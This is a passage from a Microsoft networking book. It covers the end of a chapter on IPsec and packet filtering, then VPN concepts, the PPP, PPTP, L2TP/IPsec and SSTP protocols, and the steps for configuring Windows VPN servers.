IPsec can help protect traffic through the use of AH (which provides data origin authentication, data
integrity, and replay protection for an IP packet), ESP (which provides data origin authentication, data
integrity, replay protection, and data confidentiality for the ESP-encapsulated portion of the packet), or
AH with ESP.
IPsec can use transport mode, in which the original IP header is used, or tunnel mode, in which the
entire IP packet is encapsulated with a new IP header.
IPsec uses main mode negotiation to determine encryption key material and to authenticate IPsec
peers. IPsec uses quick mode negotiation to determine how to protect the traffic sent between peers.
You can configure IPsec settings in Windows with the Windows Firewall with Advanced Security or
IPsec Policy Management snap-ins. In the Windows Firewall with Advanced Security, you must
configure connection security rules.
An IPsec policy in the IPsec Policy Management snap-in consists of general IPsec policy settings and
rules. For each rule of an IPsec policy, you must configure a single filter list, a single filter action, one or
more authentication methods, a tunnel endpoint (if you are using IPsec tunnel mode), and the
connection type.
IPsec support for IPv6 traffic in Windows Vista and Windows Server 2008 is the same as that for IPv4.
IPsec support for IPv6 traffic in Windows XP and Windows Server 2003 does not support ESP data
encryption and must be manually configured using the Ipsec6.exe tool.
Windows Firewall is a stateful IPv4 and IPv6 firewall in Windows Vista, Windows XP with SP2 and later,
Windows Server 2008, and Windows Server 2003 with SP1 and later. Windows Firewall drops
unsolicited incoming or outgoing traffic that has not been explicitly allowed.
ICF is a stateful IPv4 firewall provided with Windows XP with no service packs installed, Windows XP
with SP1, and Windows Server 2003 with no service packs installed.
Basic Firewall is a feature of Routing and Remote Access for Windows Server 2003 with no service
packs installed that functions as a stateful IPv4 firewall for public interfaces.
By using IP packet filtering in Routing and Remote Access, you can specify the exact set of IPv4 traffic
that is either allowed or discarded for both incoming and outgoing packets on a per-interface basis.
By using TCP/IP filtering, you can specify exactly which types of incoming IPv4 traffic destined for a
computer are processed for each interface
You can perform IPv6 packet filtering with Windows Firewall, IPv6 packet filtering with Routing and
Remote Access, the basic IPv6 firewall, and IPv6 ICF.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 396
Chapter Glossary
AH – See Authentication Header.
Authentication Header – A header that is placed between the IP header and the payload and that
provides data integrity, data origin authentication, and anti-replay security services.
Basic Firewall – A feature of Routing and Remote Access in Windows Server 2003 with no service
packs installed that functions as a stateful IPv4 firewall for public interfaces.
Encapsulating Security Payload – A header and trailer that is placed around an IP packet payload and
that provides confidentiality (encryption), data integrity, data origin authentication, and anti-replay
security services.
ESP – See Encapsulating Security Payload.
ICF – See Internet Connection Firewall.
IKE – See Internet Key Exchange.
Internet Connection Firewall – A stateful firewall built into Windows XP with no service packs,
Windows XP with SP1, and Windows Server 2003 with no service packs.
Internet Key Exchange – A protocol for authentication and key exchange between IPsec peers.
IP filter – A description of network traffic can include source address, source mask, destination address,
destination mask, protocol, source port, and destination port.
IP packet filtering – A capability of Routing and Remote Access that you can use to specify the exact
set of IPv4 traffic that is either allowed or discarded for both incoming and outgoing packets on a per-
interface basis.
IPsec policy – A collection of rules and settings that you create to specify IPsec services.
Rule – A list of IP filters and a collection of security actions that occur when a packet matches a filter.
SA – See security association.
security association (SA) – A combination of a mutually agreeable policy and keys that defines the
security services, mechanisms, and keys used to help protect communication between peers. A main
mode SA helps protect one or more quick mode negotiations. A quick mode SA helps protect the traffic
that it carries in one direction between IPsec peers.
Security Parameters Index (SPI) – A unique, identifying value in an SA that distinguishes among
multiple security associations that exist at the receiving computer. For example, IPsec communication
between two computers uses two SAs on each computer. One SA is for inbound traffic, and the other is
for outbound traffic. Because the source and destination addresses for the two SAs are the same, the
SPI distinguishes between the inbound and outbound SA.
SPI – See Security Parameters Index.
TCP/IP filtering – A capability of the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol
(TCP/IP) component of Windows Server 2003 and Windows XP that you can use to specify exactly
which types of incoming locally destined IPv4 traffic is processed for each interface.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 397
Windows Firewall – A stateful IPv4 and IPv6 firewall built into Windows Vista, Windows XP with SP2
and later, Windows Server 2008, and Windows Server 2003 with SP1 and later.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 398
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 399
Chapter 14 – Virtual Private Networking
Abstract
This chapter describes the virtual private network (VPN) technologies included with Microsoft Windows operating
systems to connect remote users to an intranet or to connect remote offices to each other. As a network administrator,
you must understand how to configure and use VPN connections so that you can leverage the global connectivity of the
Internet to provide ubiquitous, yet relatively secure, connectivity.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 400
Chapter Objectives
After completing this chapter, you will be able to:
Define a virtual private network (VPN) in terms of its benefits, components, and attributes.
Describe the two types of VPN connections and how routing works for each.
Explain the roles of the different VPN protocols, including Point-to-Point Protocol (PPP), Point-to-Point
Tunneling Protocol (PPTP), Layer Two Tunneling Protocol with Internet Protocol security (L2TP/IPsec),
and the Secure Socket Tunneling Protocol (SSTP).
Describe the process for creating a PPP connection, a PPTP connection, an L2TP/IPsec connection,
and an SSTP connection.
Configure remote access and site-to-site VPN connections.
Describe the use of Remote Authentication Dial-in User Service (RADIUS) for VPN connections and
use either Network Policy Server (NSP) or Internet Authentication Service (IAS) as a RADIUS server
and proxy.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 401
Virtual Private Networking Overview
A VPN extends a private network to encompass links across shared or public networks like the Internet.
By using a VPN, you can send data between two computers across a shared or public internetwork in a
manner that emulates the properties of a point-to-point private link. The act of configuring, creating, and
using a VPN is known as virtual private networking.
To emulate a point-to-point link, data is encapsulated, or wrapped, with a header that provides routing
information that allows packets to traverse a shared or public internetwork. To emulate a private link,
the data being sent is encrypted for confidentiality. Anyone who intercepts packets on the shared or
public network cannot decipher them without the encryption keys. The logical link over which private
data is encrypted is known as a VPN connection.
By using VPN connections, users working at home or on the road can connect to an organization server
from a remote location using the infrastructure that a public internetwork, such as the Internet. From the
user's perspective, the VPN is a logical point-to-point connection between a computer (the VPN client)
and an organization server (the VPN server).
Organizations that use VPN connections can create routed site-to-site connections with geographically
separate offices or with other organizations over a public internetwork while maintaining relatively
secure communication. A routed VPN connection across the Internet logically operates as a dedicated
wide area network (WAN) link.
For both remote access and routed connections, organizations that configure, create, and use VPN
connections can replace long distance dial-up or leased lines with local dial-up or leased lines to an
Internet service provider (ISP).
Components of a VPN
A Windows-based VPN includes the following components:
VPN server
A computer that accepts remote access or site-to-site connections from VPN clients.
VPN client
A computer that initiates a connection to a VPN server. A VPN client can be an individual computer
that initiates a VPN connection from a remote location (called a remote access VPN connection) or
a router that initiates a site-to-site VPN connection. Computers running Windows can create remote
access VPN connections to a server running Windows. A computer running Windows Server 2008
or Windows Server 2003 can create site-to-site connections to a server running Windows Server
2008 or Windows Server 2003. Clients from companies other than Microsoft can also create remote
access or site-to-site connections to VPN servers running Windows Server 2008 or Windows
Server 2003 as long as the clients support PPTP or L2TP/IPsec.
Tunnel
The portion of the connection in which data is encapsulated.
VPN connection
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 402
The portion of the connection in which data is encrypted. You can send data through a tunnel
without encryption, but this configuration is not a VPN connection because you would send private
data across a shared or public network in an unencrypted and easily readable form.
In most cases, the tunnel and the VPN connection are defined between the same two endpoints:
the VPN client and the VPN server. However, there are configurations known as compulsory
tunnels in which the tunnel is defined between a dial-up service provider's tunnel server and the
VPN server and the VPN connection is defined between the client and the server.
Tunneling protocols
Communication standards for managing tunnels and encapsulating private data. Windows
Server 2003 and Windows XP include the PPTP and L2TP tunneling protocols. Windows Vista with
Service Pack 1 and Windows Server 2008 also include the SSTP tunneling protocol. For detailed
information about these protocols, see "Point-to-Point Tunneling Protocol (PPTP)," "Layer Two
Tunneling Protocol with Internet Protocol Security (L2TP/IPsec)," and “Secure Socket Tunneling
Protocol (SSTP)” later in this chapter.
Tunneled data
Data that is sent through a VPN tunnel.
Transit internetwork
A shared or public internetwork crossed by encapsulated data. For Windows, the transit
internetwork is always an IPv4 internetwork, either the Internet or a private intranet.
Figure 14-1 shows the components of a VPN connection based on Windows.
Figure 14-1 Components of a Windows-based VPN
Attributes of a VPN Connection
Windows-based VPNs have the following attributes:
User authentication
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 403
Encapsulation
Encryption
User Authentication
Before the VPN connection is established, the VPN server authenticates the security credentials of the
user that is using the VPN client computer. If mutual authentication is being used, the VPN client also
either authenticates the security credentials of the VPN server or verifies that the VPN server has
access to the user credentials of the VPN client. Mutual authentication provides protection against
masquerading VPN servers.
Encapsulation
VPN technology encapsulates private data with additional headers that allow it to traverse the transit
internetwork.
Encryption
To ensure confidentiality of the data as it traverses the shared or public transit internetwork, the sender
encrypts the data, and the receiver decrypts it. Encryption and decryption depend on both the sender
and the receiver determining a shared encryption key.
Anyone who intercepts packets sent along the VPN connection in the transit internetwork must have the
encryption key to decipher them. The length of the encryption key is an important security parameter.
Computational techniques can be used to determine the encryption key. Such techniques require more
computing power and computational time as the encryption key gets longer. Therefore, you should use
the largest possible key size.
In addition, the more information that you encrypt with the same key, the easier it is to decipher the
encrypted data. With some encryption technologies, you can configure how often the encryption keys
are changed during a connection.
For VPN connections that are based on PPTP, Windows supports Microsoft Point-to-Point Encryption
(MPPE) with 40-bit, 56-bit, or 128-bit encryption keys. For VPN connections that are based on
L2TP/IPsec, Windows supports Data Encryption Standard (DES) with a 56-bit key or Triple-DES with
three 56-bit keys. For VPN connections that are based on SSTP, Windows Vista with Service Pack 1
and Windows Server 2008 supports Secure Sockets Layer (SSL) with RC4 or Advanced Encryption
Standard (AES) and 128-bit keys.
Types of VPN Connections
Windows-based VPNs support both remote access and site-to-site VPN connections.
Remote Access
A remote access VPN connection is made by a remote access VPN client (a single computer) when
connecting to a private network. The VPN server provides access not only to the resources of the
server but also to the entire network to which the server is attached. The packets sent across the VPN
connection originate at the remote access client.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 404
The remote access VPN client authenticates itself to the remote access VPN server, and, for mutual
authentication, the server authenticates itself to the client or provides proof that it has access to the
client's credentials.
When a remote access VPN client connects to the Internet, the client is configured with a default route
that points to the Internet. This default route makes all the destinations of the Internet reachable. For
permanent connections to the Internet (such as those using a Digital Subscriber Line [DSL] or a cable
modem), the default route is automatically added to the IPv4 routing table when the Internet connection
is configured with a default gateway IPv4 address (either statically or dynamically). For dial-up
connections to the Internet, a default route is automatically added to the IPv4 routing table when the
connection is made.
When the remote access VPN connection is made, a new default route is added to the routing table
and the existing default route has its routing metric increased. Now all default route traffic is sent over
the VPN connection to the private intranet, rather than to the Internet. When the VPN connection is
terminated, the newly created default route is removed and the original default route's routing metric is
returned to its previous value.
This behavior produces the following results:
Before the VPN connection is made, all the locations on the Internet are reachable, but intranet
locations are not.
After the VPN connection is made, all the locations on the intranet are reachable, but Internet locations
are not (with the exception of the VPN server on the Internet).
You can control the automatic creation of the new default route by opening the properties of the Internet
Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component of a dial-up or VPN connection,
clicking Advanced, and selecting or clearing the Use default gateway on remote network check box
on the General tab, as Figure 14-2 shows.
Figure 14-2 The Advanced TCP/IP Settings dialog box for a VPN connection
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 405
VPN client users typically engage in either intranet or Internet communication, not both simultaneously.
These users do not have a problem with mutually exclusive access to either Internet locations or to
intranet locations. However, in some cases, users need simultaneous access to intranet and Internet
resources.
If your VPN users need simultaneous access to intranet and Internet resources when the VPN
connection is active, you can do one of the following:
Select the Use default gateway on remote network check box (the default setting), and allow Internet
access through the organization intranet. Internet traffic between the VPN client and Internet hosts
passes though firewalls or proxy servers as if the VPN client were physically connected to the
organization intranet. Although performance may be decreased, this method allows you to filter and
monitor Internet access according to your organization's network policies while the VPN client is
connected to the organization network.
When the VPN server assigns an IPv4 address to the VPN client, ensure that the subnet mask is set to
the same class-based subnet mask of the Internet address class of the IPv4 address. If the addressing
within your intranet is based on a single class-based address prefix, clear the Use default gateway on
remote network check box. The best example is when your intranet is using the private IPv4 address
prefix of 10.0.0.0/8.
If the addressing within your intranet is not based on a single class-based address prefix, you can use
one of the following solutions:
The DHCPInform message sent by VPN clients running Windows includes a request for the
Classless Static Routes DHCP option. On your DHCP server running Windows Server 2008 or
Windows Server 2003, configure the Classless Static Routes DHCP option for the appropriate
scope to contain a set of routes that represent the address space of your intranet. These routes are
automatically added to the routing table of the requesting VPN client.
By using the Connection Manager Administration Kit (CMAK) for Windows Server 2008 or
Windows Server 2003, you can configure specific routes as part of the Connection Manager profile
that you distribute to VPN users. You can also specify a Uniform Resource Locator (URL) that
contains the current set of organization intranet routes or additional routes beyond those that you
configure in the profile.
Site-to-Site
A site-to-site VPN connection (also known as a router-to-router VPN connection) is made by a router
and connects two portions of a private network. The VPN server provides a routed connection to the
network to which the server is attached. On a site-to-site VPN connection, the packets that either router
sends across the VPN connection typically do not typically originate at the routers.
The calling router (the VPN client) authenticates itself to the answering router (the VPN server), and, for
mutual authentication, the answering router authenticates itself to the calling router or provides proof
that it has access to the calling router's credentials.
Site-to-site VPN connections can be initiated by only one router (a one-way initiated VPN connection)
or by either router (a two-way initiated VPN connection). One-way initiated connections are well suited
to a spoke-and-hub topology in which only the branch office router can initiate the connection. Site-to-
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 406
site VPN connections can be permanent (always connected) or on-demand (a router makes a
connection when it has traffic to send and disconnects after a configured idle timeout).
To support site-to-site connections, Routing and Remote Access in Windows Server 2008 and
Windows Server 2003 allows you to create demand-dial interfaces. A demand-dial interface is a logical
interface that represents the point-to-point connection between the two routers. You can use a demand-
dial interface in the same way as a physical interface. For example, you can assign routes and
configure packet filters on demand-dial interfaces.
Routing for site-to-site connections consists of a set of routes in the routing table of both the calling
router and the answering router. These routes summarize the addresses that are available across the
site-to-site connection. Each separate route specifies:
An address prefix (the combination of the destination and a subnet mask)
The routing metric
A demand-dial interface
If each router in a site-to-site connection has the set of routes that represent the addresses available
across the site-to-site connection, all of the locations on the intranet consisting of multiple sites are
reachable from each site.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 407
VPN Protocols
Computers running Windows Vista, Windows XP, Windows Server 2008, or Windows Server 2003 use
the following protocols to create VPN connections:
Point-to-Point Protocol (PPP)
PPTP
L2TP/IPsec
Computers running Windows Vista with Service Pack 1 and later or Windows Server 2008 also use
SSTP.
Point-to-Point Protocol (PPP)
PPTP and L2TP depend heavily on the features specified for PPP, which was designed to send data
across dial-up or dedicated point-to-point connections. For IPv4, PPP encapsulates IPv4 packets within
PPP frames and then transmits the packets across a point-to-point link. PPP was originally defined as
the protocol to use between dial-up clients and remote access servers.
The four phases of negotiation in a PPP connection are the following:
Phase 1: PPP Link Establishment
Phase 2: User Authentication
Phase 3: PPP Callback Control
Phase 4: Invoking Network Layer Protocol(s)
Each of these four phases must complete successfully before the PPP connection can transfer user
data.
Windows Vista and Windows Server 2008 support IPv6 traffic over PPP links. Neither Windows
Server 2003 nor Windows XP supports IPv6 traffic over PPP links, so you cannot send native IPv6
traffic across a dial-up or VPN connection from a computer running one of these operating systems.
You can, however, send tunneled IPv6 traffic that is encapsulated with an IPv4 header. For more
information about IPv6 tunneling, see Chapter 15 "IPv6 Transition Technologies."
Phase 1: PPP Link Establishment
PPP uses the Link Control Protocol (LCP) to establish, maintain, and terminate the logical point-to-point
connection. During Phase 1, basic communication options are selected. For example, authentication
protocols are selected, but they are not used for authentication until the connection authentication
phase (Phase 2). Similarly, during Phase 1, the two peers negotiate the use of compression or
encryption. The actual choice of compression and encryption algorithms and other details occurs during
Phase 4.
Phase 2: User Authentication
In Phase 2, the client computer sends the user’s credentials to the remote access server. An
authentication scheme should provide protection against replay attacks and remote client
impersonation. A replay attack occurs when an attacker monitors a successful connection and uses
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 408
captured packets to play back the remote client’s response so that the attacker can gain an
authenticated connection. Remote client impersonation occurs when an attacker takes over an
authenticated connection.
Windows Server 2003 and Windows XP support the following PPP authentication protocols:
Password Authentication Protocol (PAP)
PAP is a plaintext password authentication mechanism that provides no protection from an attacker
that captures a PAP authentication exchange.
Challenge-Handshake Authentication Protocol (CHAP)
CHAP is an encrypted password authentication mechanism that avoids transmitting the password
on the connection.
Microsoft Challenge-Handshake Authentication Protocol (MS-CHAP)
MS-CHAP is an encrypted password authentication mechanism similar to CHAP, but MS-CHAP is
more secure.
MS-CHAP version 2 (MS-CHAP v2)
MS-CHAP v2 is an enhanced version of MS-CHAP that provides stronger protection for the
exchange of user name and password credentials, determination of encryption keys, and mutual
authentication.
Extensible Authentication Protocol (EAP)
EAP is a PPP authentication infrastructure that allows authentication mechanisms to be installed on
PPP clients and servers. During the authentication phase, EAP does not authenticate users. Phase
2 for EAP only negotiates the use of a common EAP authentication mechanism known as an EAP
type. The actual authentication for the negotiated EAP type is performed during Phase 4.
Windows Vista and Windows Server 2008 no longer support the MS-CHAP authentication protocol.
During Phase 2 of PPP link configuration, the VPN server running Windows Server 2008 or Windows
Server 2003 collects the authentication credentials and then validates them against one of the
following:
The VPN server's own user accounts database (if the VPN server is not a member of a domain)
A domain controller for Active Directory (if the VPN server is a member of a domain)
A Remote Authentication Dial-in User Service (RADIUS) server
A VPN server running Windows Vista or Windows XP validates authentication credentials against the
local user account database.
VPN connections that are based on PPTP require the use of MS-CHAP, MS-CHAP v2, or the EAP-
Transport Layer Security (TLS) authentication protocol. These authentication methods generate
encryption key material that is used to encrypt the data sent over the PPTP-based VPN connection.
L2TP/IPsec connections can use any of the authentication protocols because the authentication
protocol exchange is encrypted with IPsec. However, the use of MS-CHAP v2 or EAP-TLS is
recommended because they are the most secure user authentication protocols and they provide mutual
authentication.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 409
Phase 3: PPP Callback Control
The Windows implementation of PPP includes an optional callback control phase. This phase uses the
Callback Control Protocol (CBCP) immediately after the authentication phase. If configured for callback,
both the remote client and remote access server disconnect after authentication. The remote access
server then calls the remote client back at a specified phone number. This behavior makes dial-up
connections more secure because the remote access server allows connections only from remote
clients that are using specific phone numbers. Callback is used only for dial-up connections, not for
VPN connections.
Phase 4: Invoking Network Layer Protocol(s)
When the first three phases have been completed, PPP invokes the various network control protocols
(NCPs) that were selected during the link establishment phase (Phase 1) to configure protocols used by
the remote client. For example, during this phase, the Internet Protocol Control Protocol (IPCP) assigns
an IPv4 address to the PPP client. In the Windows implementation of PPP, the Compression Control
Protocol (CCP) is used to negotiate both data compression, known as Microsoft Point-to-Point
Compression (MPPC), and data encryption with MPPE.
Data-Transfer Phase
When the four phases of PPP negotiation have been completed, PPP begins to forward packets
containing data between the PPP client and the server. Each transmitted data packet is wrapped in a
PPP header that is removed by the receiver. If data compression was selected in Phase 1 and
negotiated in Phase 4, the sender compresses the data before transmitting it. If data encryption is
negotiated, the sender encrypts the data before transmitting it. If both encryption and compression are
negotiated, the sender compresses the data before encrypting and transmitting it.
Point-to-Point Tunneling Protocol (PPTP)
Request for Comments (RFC) 2637 defines PPTP, which encapsulates PPP frames in IPv4 packets for
transmission over an IPv4 internetwork, such as the Internet. PPTP can be used for remote access and
site-to-site VPN connections.
PPTP uses a TCP connection for tunnel management and a modified version of Generic Routing
Encapsulation (GRE) to encapsulate PPP frames for tunneled data. The payloads of the encapsulated
PPP frames can be encrypted, compressed, or both. Figure 14-3 shows the structure of a PPTP packet
that contains an IPv4 packet.
Figure 14-3 Structure of a PPTP packet that contains an IPv4 packet
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 410
Layer Two Tunneling Protocol with IPsec (L2TP/IPsec)
RFC 2661 defines L2TP, which encapsulates PPP frames to be sent over IPv4, X.25, Frame Relay, or
Asynchronous Transfer Mode (ATM) networks. If you configure L2TP for IPv4 networks, you can use it
as a tunneling protocol over the Internet.
L2TP over IPv4 internetworks uses a User Datagram Protocol (UDP) header and a series of L2TP
messages for tunnel management. L2TP also uses UDP to send L2TP-encapsulated PPP frames as
the tunneled data. The payloads of encapsulated PPP frames can be encrypted, compressed, or both,
although the Windows implementation of L2TP does not use MPPE to encrypt the PPP payload. Figure
14-4 shows the structure of an L2TP packet that contains an IPv4 packet.
Figure 14-4 Structure of an L2TP packet that contains an IPv4 packet
The Windows implementation of L2TP uses IPsec with Encapsulating Security Payload (ESP) to
encrypt L2TP traffic. The combination of L2TP (the tunneling protocol) and IPsec (the method of
encryption) is known as L2TP/IPsec, as RFC 3193 describes. For more information about ESP, see
Chapter 13, "Internet Protocol Security and Packet Filtering."
Figure 14-5 shows the result after ESP is applied to an IPv4 packet that contains an L2TP frame.
Figure 14-5 Encryption of L2TP traffic using IPsec with ESP
Secure Socket Tunneling Protocol (SSTP)
PPTP and L2TP/IPsec traffic can have problems traversing firewalls, network address translators
(NATs), and Web proxies. SSTP in Windows Server 2008 and Windows Vista Service Pack 1 solves
these VPN connectivity problems by using HyperText Transfer Protocol (HTTP) over secure sockets
layer (SSL). SSL is also known as Transport Layer Security (TLS). HTTP over SSL on TCP port 443 is
the protocol that is used on the Web for collecting credit card numbers and other private data.
Whenever you connect to a Web address that begins with https:, you are using HTTP over SSL. Using
HTTP over SSL solves many VPN protocol connectivity problems because typical firewalls, NATs, and
Web proxies allow this type of traffic.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 411
SSTP uses an HTTP-over-SSL session between VPN clients and servers to exchange encapsulated
IPv4 or IPv6 packets. Note that an HTTP-over-SSL-based remote access VPN connection is different
from the connection made by an application that uses HTTP over SSL. For example, Outlook® Web
Access (OWA) lets you access your Microsoft Exchange e-mail at your enterprise over the Internet.
OWA uses an HTTP over SSL-encrypted session, but this is not the same as a remote access
connection. Although you can view your e-mail with OWA, you can’t reach the location of an intranet
URL that is embedded within an Exchange e-mail message.
Unlike the PPTP and L2TP/IPsec protocols, SSTP does not support site-to-site VPN connections.
Figure 14-6 shows the structure of IPv4 or IPv6 packets that are sent over an SSTP-based VPN
connection.
Figure 14-6 Structure of SSTP packets
An IPv4 or IPv6 packet is first encapsulated with a PPP header and an SSTP header. The combination
of the IPv4 or IPv6 packet, the PPP header, and the SSTP header is encrypted by the SSL session. A
TCP header and an IPv4 header (for SSTP connections across the IPv4 Internet) or an IPv6 header (for
SSTP connections across the IPv6 Internet) are added to complete the packet.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 412
Remote Access VPN Connections
Both Windows Server 2003 and Windows XP include a remote access VPN client and a remote access
VPN server.
VPN Client Support
Windows Vista, Windows XP, Windows Server 2008, and Windows Server 2003 include a built-in VPN
client that supports PPTP and L2TP/IPsec. The VPN client in Windows Vista Service Pack 1 and
Windows Server 2008 also supports SSTP. You can configure a remote access VPN connection by
using either the Network Connections folder or Connection Manager.
Network Connections Folder
If you have a small number of VPN clients, you can manually configure a VPN connection for each
client. For clients running Windows Vista or Windows Server 2008, click the Set up a connection or
network task in the Network and Sharing Center. In the Set up a connection or network dialog box,
double-click Connect to a workplace and follow the Connect to a workplace wizard to create a VPN
connection.
For clients running Windows XP or Windows Server 2003, use the New Connection Wizard in the
Network Connections folder to create the VPN connection. Within the New Connection Wizard, click
Connect to the network at my workplace on the Network Connection Type page and click Virtual
Private Network connection on the Network Connection page.
Connection Manager
If you try to manually configure remote access VPN connections for thousands of clients in an
enterprise organization, you will probably experience one or more of the following problems:
The exact procedure to configure a VPN connection varies depending on the version of Windows
running on the client computer, so training end users to configure these connections will require
multiple sets of training materials.
To prevent configuration errors, the information technology (IT) staff should manually configure the VPN
connection rather than end users, placing a large administrative burden on the IT staff.
A VPN connection may need a double-dial configuration, in which a user must connect to the Internet
before connecting to the organization intranet. This requirement makes training end users even more
complicated.
To configure VPN connections for an enterprise organization, you can use the following components:
Connection Manager
Connection Manager Administration Kit
Connection Point Services
Connection Manager is a client dialer with advanced features that offer a superset of basic dial-up and
VPN networking. Windows Server 2008 and Windows Server 2003 includes a set of tools that you can
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 413
use deliver pre-configured connections to network users. These tools are the Connection Manager
Administration Kit (CMAK) and Connection Point Services (CPS).
You can use CMAK to tailor the appearance and behavior of a connection made with Connection
Manager. With CMAK, you can develop client dialer and connection software that allows users to
connect to the network by using only the connection features that you define for them. Connection
Manager supports a variety of features that both simplify and enhance the deployment of connection
support for you and your users, and you can incorporate most of those features using the Connection
Manager Administration Kit Wizard. By using CMAK, you can create custom profiles that reflect the
identity, online help, and support infrastructure of your organization.
By using Connection Point Services (CPS), you can automatically create, distribute, and update custom
phone books. These phone books contain one or more Point of Presence (POP) entries, with each
POP entry storing a telephone number that provides dial-up access to a local ISP. Phone books give
users complete POP information so that, when they travel, they can connect to different Internet access
points rather than being restricted to a single POP.
Without the ability to update phone books (a task CPS handles automatically), users would have to
contact their organization's technical support staff for changes in POP information and to reconfigure
their client dialer software.
CPS has two components:
1. Phone Book Administrator
A tool used to create and maintain the phone book database and to publish new phone book
information to Phone Book Service.
2. Phone Book Service
An Internet Information Services (IIS) extension that automatically checks subscribers' or corporate
employees' current phone books and, if necessary, downloads a phone book update.
VPN Server Support
Using Routing and Remote Access in Windows Server 2008 and Windows Server 2003, you can
configure a VPN server that supports PPTP, L2TP/IPsec, and, for Windows Server 2008, SSTP.
To configure a computer running Windows Server 2008 to act as a VPN server, do the following:
1. Configure your server with a static IPv4 address on each of its intranet interfaces.
2. Click Start, point to Programs, point to Administrative Tools, and then click Server Manager.
3. In the console tree, right-click Roles, click Add Roles, and then click Next.
4. On the Select Server Roles page, select the Network Policy and Access Services check box, and
then click Next.
5. Follow the pages of the Add Roles wizard.
6. From the console tree of the Routing and Remote Access snap-in, right click the server name and
click Configure and Enable Routing and Remote Access.
7. Follow the pages of the Routing and Remote Access wizard to configure the server as a VPN server.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 414
To configure a computer running Windows Server 2003 to act as a VPN server, do the following:
1. Configure your server with a static IPv4 address on each of its intranet interfaces.
2. Click Start, point to Programs, point to Administrative Tools, and then click Routing And Remote
Access.
3. Right-click your server name, and then click Configure and enable Routing And Remote Access.
Click Next.
4. On the Configuration page, click Remote Access (dial-up or VPN), and then click Next.
5. On the Remote Access page, click VPN, and then click Next.
6. On the VPN Connection page, click the connection that corresponds to the interface connected to
the Internet or your perimeter network, and then click Next.
7. On the IP Address Assignment page, click Automatically if the VPN server should use DHCP to
obtain IPv4 addresses for remote access VPN clients. Or, click From a specified range of
addresses to use one or more static ranges of addresses. When IP address assignment is complete,
click Next.
8. On the Managing Multiple Remote Access Servers page, if you are using RADIUS for
authentication and authorization, click Yes, set up this server to work with a RADIUS server, and
then click Next.
On the RADIUS Server Selection page, configure the primary (mandatory) and alternate (optional)
RADIUS servers and the shared secret, and then click Next.
9. Click Finish.
10. When you are prompted to configure the DHCP Relay Agent, click OK.
11. In the tree of Routing and Remote Access, open IP Routing.
12. Right-click DHCP Relay Agent, and click Properties.
13. On the General tab of the DHCP Relay Agent Properties dialog box, add the IPv4 addresses that
correspond to your intranet DHCP servers, and click OK.
By default, Routing and Remote Access creates 128 PPTP and 128 L2TP/IPsec logical ports. If you
need more ports, configure the WAN Miniport (PPTP) or WAN Miniport (L2TP) devices from the
properties of the Ports object in the tree of Routing and Remote Access.
By default, the Routing and Remote Access Server Setup Wizard enables the MS-CHAP (for Windows
Server 2003 only), MS-CHAP v2, and EAP authentication protocols.
VPN Server Support in Windows Vista
To configure a computer running Windows XP as a remote access VPN server, press the ALT key to
display the menu bar, click File, and then click New Incoming Connection. Use the pages of the Allow
Connections to this Computer wizard to configure incoming connections.
Chapter 14 – Virtual Private Networking
TCP/IP Fundamentals for Microsoft Windows
Page: 415
VPN Server Support in Windows XP
You can configure a computer running Windows XP as a remote access VPN server by running the
Create a New Connection Wizard in the Network Connections folder. On the Network Connection
Type page of the wizard, click Set up an advanced connection. On the Advanced Connection
Options page, click Accept incoming connections. These options will cause the computer running
Windows XP to act as a VPN server. However, the server will support only a single remote access
connection (dial-up, PPTP, or L2TP/IPsec-based).
IP Address Assignment and Routing and Remote Access
The VPN server obtains the IPv4 addresses that it assigns to VPN clients from either a DHCP server or
a static pool of IPv4 addresses. The type of address that Routing and Remote Access can assign to a
VPN client can be either an on-subnet address or an off-subnet address. The type of address that you
use can affect reachability, unless you make additional changes to the routing infrastructure.
The IPv4 addresses assigned to VPN clients can be from an:
On-subnet address range
An address range of an intranet subnet to which the VPN server is attached. The VPN server is
using an on-subnet address range when it obtains IPv4 addresses for VPN clients from a DHCP
server or when the manually configured static pool contains IPv4 addresses that are within the
range of addresses of an attached subnet.
The advantage to using on-subnet addresses is that they require no changes to routing
infrastructure.
Off-subnet address range
An address range that represents a different subnet that is logically attached to the VPN server.
The VPN server is using an off-subnet address range when the static pool contains IPv4 addresses
that are located on a separate subnet.
The advantage to using off-subnet addresses is that the IPv4 addresses of remote access clients
are more easily identified when they are connecting and communicating with resources on the
intranet. However, you must change the routing infrastructure so that the clients are reachable from
the intranet.
Obtaining IPv4 Addresses via DHCP
When configured to obtain IPv4 addresses from a DHCP server, Routing and Remote Access obtains
10 IPv4 addresses at a time. Routing and Remote Access attempts to obtain the first set of addresses
when the first remote access client connects, rather than when the Routing and Remote Access service
starts. Routing and Remote Access uses the first IPv4 address and allocates subsequent addresses to
clients as they connect. When clients disconnect, Routing and Remote Access can reassign their IPv4
